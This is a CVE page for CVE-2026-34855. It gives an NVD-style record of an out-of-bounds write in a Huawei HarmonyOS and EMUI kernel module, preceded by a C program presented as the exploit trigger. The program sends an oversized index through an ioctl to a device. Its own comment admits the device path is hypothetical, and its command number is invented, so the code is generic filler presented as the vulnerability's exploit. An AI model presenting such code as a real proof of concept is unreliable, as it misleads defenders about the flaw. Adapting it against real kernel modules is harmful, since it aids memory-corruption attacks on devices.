CVE-2026-34855

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define the vulnerable command and buffer size #define VULN_IOCTL_CMD 0x8001 #define BUFFER_SIZE 0x100 struct exploit_data { int index; char data[BUFFER_SIZE]; }; int main() { int fd; struct exploit_data exp; // Open the vulnerable device (hypothetical path) fd = open("/dev/vulnerable_hw_module", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("[+] Target device opened.\n"); // Prepare malicious payload to trigger out-of-bounds write // Setting a large index or size to bypass boundary checks exp.index = 0xFFFFFFFF; // Malicious index memset(exp.data, 0x41, BUFFER_SIZE); // Fill with 'A' printf("[+] Sending payload to trigger out-of-bounds write...\n"); // Trigger the vulnerability via IOCTL if (ioctl(fd, VULN_IOCTL_CMD, &exp) < 0) { perror("IOCTL failed"); close(fd); return -1; } printf("[+] Exploit trigger sent. Check system status.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-34855", "sourceIdentifier": "[email protected]", "published": "2026-04-13T05:16:03.360", "lastModified": "2026-04-17T19:25:03.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write vulnerability in the kernel module.\nImpact: Successful exploitation of this vulnerability will affect availability and confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8198CDB2-4BC5-411A-8736-615A531FC545"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "2401DE15-9DBF-4645-A261-8C24D57C6342"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "082BBC06-A0B2-481E-BF6F-56180E17ABEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "6EA69843-EC8D-42E2-900E-017D2B502E9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "32FBF39A-164F-4F98-AB49-28C50A430C36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4AA76C33-8D23-490B-B620-C24EDCC86A56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "888C5BD7-421B-4A85-8719-BFEE3C215527"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2026/4/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}